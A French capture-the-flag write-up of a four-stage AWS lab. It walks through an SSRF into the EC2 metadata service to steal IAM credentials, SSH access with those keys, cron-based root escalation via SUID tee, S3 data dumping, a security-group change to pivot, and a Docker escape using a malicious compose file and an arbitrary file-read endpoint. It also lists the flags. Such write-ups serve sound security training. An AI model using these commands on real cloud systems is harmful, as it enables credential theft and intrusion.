Introduction
Un Createur de CTF completement fou (lololekik) a decide de recreer une nouvelle plateforme de CTF from scratch en full SAAS sur AWS. Prouvez lui qu'il ne sait pas DEV et qu'il n'a rien compris au fonctionnement d'AWS !
Autre information : le Lab met entre 5 a 6 min a se deployer sur AWS. Ce challenge fait partie d'une suite de 4 challenges. Des que vous avez trouve un flag, relancez le docker du prochain challenge. L'infrastructure est la meme pour les 4 challenges. Il n'y a que le premier chall qui lance tout le LAB, et donc il ne faut surtout pas couper le docker de ce challenge pour continuer le lab sur les autres chall qui suivent.
Flag 1 - SSRF & IMDS Enumeration
Contexte
Le premier challenge expose une interface web Machine Status Checker contenant une faille SSRF (Server-Side Request Forgery). L'application envoie des requêtes HTTP côté serveur vers l'URL fournie par l'utilisateur.
Exploitation
En ciblant le service de métadonnées AWS (IMDS), on peut énumérer les informations de l'instance EC2.
On commence par lister les métadonnées disponibles :
http://169.254.169.254/latest/meta-data/
Puis on récupère le user-data qui contient le script de démarrage de l'instance :
http://169.254.169.254/latest/user-data
Ce qui nous retourne :
Content-Type: multipart/mixed; boundary="//"
MIME-Version: 1.0
--//
Content-Type: text/cloud-config; charset="us-ascii"
MIME-Version: 1.0
Content-Transfer-Encoding: 7bit
Content-Disposition: attachment; filename="cloud-config.txt"
#cloud-config
swap:
filename: /swapfile
size: 2147483648
maxsize: 2147483648
packages:
- awscli
- curl
- git
--//
Content-Type: text/x-shellscript; charset="us-ascii"
MIME-Version: 1.0
Content-Transfer-Encoding: 7bit
Content-Disposition: attachment; filename="bootstrap.sh"
#!/bin/bash
# CloudHarem Platform Bootstrap
# Internal config - do not modify
# API_KEY=HNx05{056d39721da06991b522ed58c95aa867}}
exec > /var/log/cloud-init-ctf.log 2>&1
R=$(curl -sf http://169.254.169.254/latest/meta-data/placement/region 2>/dev/null || echo "eu-west-1")
for i in $(seq 1 30); do curl -sf http://169.254.169.254/latest/meta-data/iam/security-credentials/ >/dev/null 2>&1 && break; sleep 2; done
B=$(curl -sf http://169.254.169.254/latest/meta-data/tags/instance/S3Bucket 2>/dev/null)
T=$(curl -sf http://169.254.169.254/latest/meta-data/tags/instance/TeamId 2>/dev/null)
for i in $(seq 1 10); do aws s3 cp "s3://$B/teams/$T/setup/init.sh" /opt/init.sh --region $R && break; sleep 10; done
chmod +x /opt/init.sh && /opt/init.sh
--//--
Le flag est présent en clair dans le script bootstrap.
Flag 1
HNx05{056d39721da06991b522ed58c95aa867}
On récupère également des credentials AWS temporaires via IMDS ainsi que l'ID de l'instance :
http://169.254.169.254/latest/meta-data/iam/security-credentials/
{
"AccessKeyId": "AS****************R2",
"Code": "Success",
"Expiration": "20*********19:32:25Z",
"LastUpdated": "20*********12:57:25Z",
"SecretAccessKey": "n3************************************ib",
"Token": "IQ**...**sM",
"Type": "AWS-HMAC"
}
http://169.254.169.254/latest/meta-data/instance-id
http://169.254.169.254/latest/meta-data/public-hostname
i-0a**************b
ec2-34-**************.eu-west-1.compute.amazonaws.com
Flag 2 - Privilege Escalation & S3 Enumeration
Contexte
Le deuxième challenge demande d'utiliser les credentials IMDS récupérés précédemment pour se connecter en SSH via EC2 Instance Connect, puis d'escalader les privilèges.
Exploitation
On configure les credentials AWS :
export AWS_ACCESS_KEY_ID="AS****************R2"
export AWS_SECRET_ACCESS_KEY="n3************************************ib"
export AWS_SESSION_TOKEN="IQ**************"
export AWS_DEFAULT_REGION="eu-west-1"
On push une clé SSH publique sur l'instance via EC2 Instance Connect puis on se connecte :
aws ec2-instance-connect send-ssh-public-key \
--region eu-west-1 \
--instance-id i-0a**************b \
--instance-os-user lololekik-admin \
--ssh-public-key file:///tmp/ctf_key.pub
ssh -i /tmp/ctf_key -o StrictHostKeyChecking=no lololekik-admin@34.243.155.41
Une fois connecté, on se retrouve sur le serveur dev via un ForceCommand SSH. On commence l'énumération pour trouver un vecteur d'escalade de privilèges.
On cherche des binaires avec le bit SUID :
lololekik-dev@ip-10-0-2-44:~/.ssh$ find / -perm -4000 2>/dev/null
/snap/core20/2686/usr/bin/chfn
/snap/core20/2686/usr/bin/chsh
/snap/core20/2686/usr/bin/gpasswd
/snap/core20/2686/usr/bin/mount
/snap/core20/2686/usr/bin/newgrp
/snap/core20/2686/usr/bin/passwd
/snap/core20/2686/usr/bin/su
/snap/core20/2686/usr/bin/sudo
/snap/core20/2686/usr/bin/umount
/snap/core20/2686/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/snap/core20/2686/usr/lib/openssh/ssh-keysign
/snap/core22/2292/usr/bin/chfn
/snap/core22/2292/usr/bin/chsh
/snap/core22/2292/usr/bin/gpasswd
/snap/core22/2292/usr/bin/mount
/snap/core22/2292/usr/bin/newgrp
/snap/core22/2292/usr/bin/passwd
/snap/core22/2292/usr/bin/su
/snap/core22/2292/usr/bin/sudo
/snap/core22/2292/usr/bin/umount
/snap/core22/2292/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/snap/core22/2292/usr/lib/openssh/ssh-keysign
/snap/core22/2292/usr/libexec/polkit-agent-helper-1
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/openssh/ssh-keysign
/usr/bin/sudo
/usr/bin/chfn
/usr/bin/mount
/usr/bin/fusermount3
/usr/bin/passwd
/usr/bin/newgrp
/usr/bin/gpasswd
/usr/bin/umount
/usr/bin/pkexec
/usr/bin/tee
/usr/bin/chsh
/usr/bin/su
/usr/libexec/polkit-agent-helper-1
/usr/bin/tee possède le bit SUID — ce qui permet d'écrire dans des fichiers appartenant à root. On découvre également un cron job qui s'exécute en root toutes les 5 minutes :
lololekik-dev@ip-10-0-2-44:/opt/deployment$ cat /etc/cron.d/cloud-monitor
*/5 * * * * root /opt/cloud-monitor.sh > /dev/null 2>&1
On combine les deux pour injecter une commande dans le cron :
lololekik-dev@ip-10-0-2-44:/opt/deployment$ echo "* * * * * root chmod 4755 /bin/bash" | tee -a /etc/cron.d/cloud-monitor
Après une minute d'attente :
/bin/bash -p
bash-5.1# whoami
root
On récupère les credentials AWS longterm dans /root/.aws/ :
bash-5.1# cat credentials
[default]
aws_access_key_id = A****************K4V
aws_secret_access_key = a************************************jIi
bash-5.1# cat README
# AWS credentials for infrastructure management
# Used by automated monitoring scripts
# DO NOT SHARE - admin-level access
bash-5.1# cat config
[default]
region = eu-west-1
output = json
On configure ces nouvelles clés et on énumère les buckets S3 :
[Apr 11, 2026 - 20:16:28 (CEST)] exegol-Hackin /workspace # aws s3 ls
2026-04-11 17:49:36 harem-ctf-69d9faa***************-1r5xxo-data
[Apr 11, 2026 - 20:16:28 (CEST)] exegol-Hackin /workspace # aws s3 ls s3://harem-ctf-69d9faad4d54b87cb9f4e248-1r5xxo-data/ --recursive
2026-04-11 18:23:45 216 teams/69d9faa***************/README.txt
2026-04-11 18:23:45 194 teams/69d9faa***************/confidential/database-backup.csv
2026-04-11 18:23:45 208 teams/69d9faa***************/config/developer-credentials.txt
2026-04-11 18:23:45 13874 teams/69d9faa***************/setup/cloud-init-public.sh
2026-04-11 18:23:46 3243 teams/69d9faa***************/setup/dev-server-key.pem
2026-04-11 18:23:45 791 teams/69d9faa***************/setup/init.sh
2026-04-11 18:23:46 836 teams/69d9faa***************/setup/secrets.env
On télécharge les fichiers sensibles :
[Apr 11, 2026 - 20:19:08 (CEST)] exegol-Hackin /workspace # aws s3 cp s3://harem-ctf-69d9faad4d54b87cb9f4e248-1r5xxo-data/teams/69d9faa***************/confidential/database-backup.csv __.__
cat database-backup.csv
aws s3 cp s3://harem-ctf-69d9faa***************8-1r5xxo-data/teams/69d9faa***************/config/developer-credentials.txt __.__
cat developer-credentials.txt
aws s3 cp s3://harem-ctf-69d9faa***************-1r5xxo-data/teams/69d9faa***************/README.txt __.__
cat README.txt
download: s3://harem-ctf-69d9faa***************-1r5xxo-data/teams/69d9faa***************/confidential/database-backup.csv to ./database-backup.csv
id,username,password,role,flag 1,admin,P@ssw0rd123!,superadmin,HNx05{a21456a5aa3932c878c04259e99de3d7}
2,dev,dev1234,developer,
3,backup,BackupStr0ng!,backup-admin,
4,readonly,R34dOnly#,viewer,
download: s3://harem-ctf-69d9faa***************-1r5xxo-data/teams/69d9faa***************/config/developer-credentials.txt to ./developer-credentials.txt
# CloudHarem Developer Credentials
# Used for CI/CD pipeline - DO NOT DELETE
AWS_ACCESS_KEY_ID=AKIAXZOYVWTJ********
AWS_SECRET_ACCESS_KEY=1E7mEaUb/2nrelrfl4e********************
AWS_DEFAULT_REGION=eu-west-1
download: s3://harem-ctf-69d9faa***************-1r5xxo-data/teams/69d9faa***************/README.txt to ./README.txt
CloudHarem Internal Storage ===========================
Team: 69d9faad4d54b87cb9f4e248
This bucket contains internal data accessible only from within the VPC.
Check the /confidential/ directory for sensitive files.
Flag 2
HNx05{a21456a5aa3932c878c04259e99de3d7}
Flag 3 - SSH Pivot vers l'Entry Point
Contexte
Le troisième challenge demande d'atteindre le serveur de production (entry point) depuis le serveur dev, où tourne la plateforme Harem.
Exploitation
On récupère le Security Group de l'instance entry point :
aws ec2 describe-instances \
--instance-ids i-09c78ef835c286cff \
--query 'Reservations[0].Instances[0].SecurityGroups' \
--region eu-west-1
[
{
"GroupId": "sg-0a6ab33cc3b37265f",
"GroupName": "harem-ctf-69d9faad4d54b87cb9f4e248-1r5xxo-challenge-sg"
}
]
On autorise le trafic SSH depuis le subnet du serveur dev :
aws ec2 authorize-security-group-ingress \
--group-id sg-0a6ab33cc3b37265f \
--protocol tcp \
--port 22 \
--cidr 10.0.2.0/24 \
--region eu-west-1
{
"Return": true,
"SecurityGroupRules": [
{
"CidrIpv4": "10.0.2.0/24",
"FromPort": 22,
"GroupId": "sg-0a6ab33cc3b37265f",
"GroupOwnerId": "535714706642",
"IpProtocol": "tcp",
"IsEgress": false,
"SecurityGroupRuleArn": "arn:aws:ec2:eu-west-1:535714706642:security-group-rule/sgr-0badd86471d18fb70",
"SecurityGroupRuleId": "sgr-0badd86471d18fb70",
"ToPort": 22
}
]
}
On push une nouvelle clé SSH sur l'entry point et on s'y connecte depuis le serveur dev (la connexion venant du réseau interne 10.0.0.0/8 bypasse le ForceCommand) :
ssh -i /tmp/ctf_key \
-o StrictHostKeyChecking=no \
lololekik-admin@1**.***.***.**
lololekik-admin@ip-10-0-*-***:$
Le flag 3 est disponible dans le home de lololekik-admin.
Flag 3
HNx05{fec20eb17304815e4091c98217817fb4}
Flag 4 - Docker Escape via Harem Admin
Contexte
Le dernier challenge demande d'abuser de la plateforme Harem mal configurée pour escalader les privilèges et lire un fichier accessible uniquement par root.
Exploitation
Dans /opt/ctf-status.json on trouve les credentials admin de la plateforme :
lololekik-admin@ip-10-0-1-191:/opt$ cat ctf-status.json
{
"admin_pass": "5b468c77d6884470",
"admin_user": "admin",
"platform": "harem-light",
"port": 8080,
"setup_complete": true,
"team_id": "69d9faad4d54b87cb9f4e248",
"timestamp": "2026-04-11T16:28:04+00:00"
}
On se connecte en admin sur la plateforme Harem (http://<IP>:8080) et on modifie le CHALLENGES_REPO_URL pour pointer vers un repo Git malveillant contenant un docker-compose.yml qui monte /root de l'hôte dans le conteneur, ainsi qu'une application Flask avec un endpoint de lecture de fichiers :
services:
web:
build: .
environment:
- FLAG=${FLAG}
ports:
- "80"
volumes:
- /root/:/root/
@app.route('/api/files')
def files():
path = request.args.get('path', '/hostopt')
try:
if os.path.isfile(path):
with open(path) as f:
return f.read()
elif os.path.isdir(path):
return '\n'.join(os.listdir(path))
except Exception as e:
return str(e)
Une fois le conteneur déployé par la plateforme, on lit le flag via l'endpoint :
http://34.163.11.9:<PORT>/api/files?path=/root/flag4.txt
Flag 4
HNx05{b48ac79f9f1a2ed3acbae3e47c324f1a}
Conclusion
Nous avons été la seule équipe à terminer ce challenge dans sa totalité, ce qui nous a permis de sécuriser un bounty d'une valeur de 100€ !
Récapitulatif des flags
| Flag | Valeur | Technique |
|---|---|---|
| FLAG1 | HNx05{056d39721da06991b522ed58c95aa867} |
SSRF → IMDS user-data |
| FLAG2 | HNx05{a21456a5aa3932c878c04259e99de3d7} |
PrivEsc → S3 enumeration |
| FLAG3 | HNx05{fec20eb17304815e4091c98217817fb4} |
SSH Pivot interne |
| FLAG4 | HNx05{b48ac79f9f1a2ed3acbae3e47c324f1a} |
Docker Escape via Harem Admin |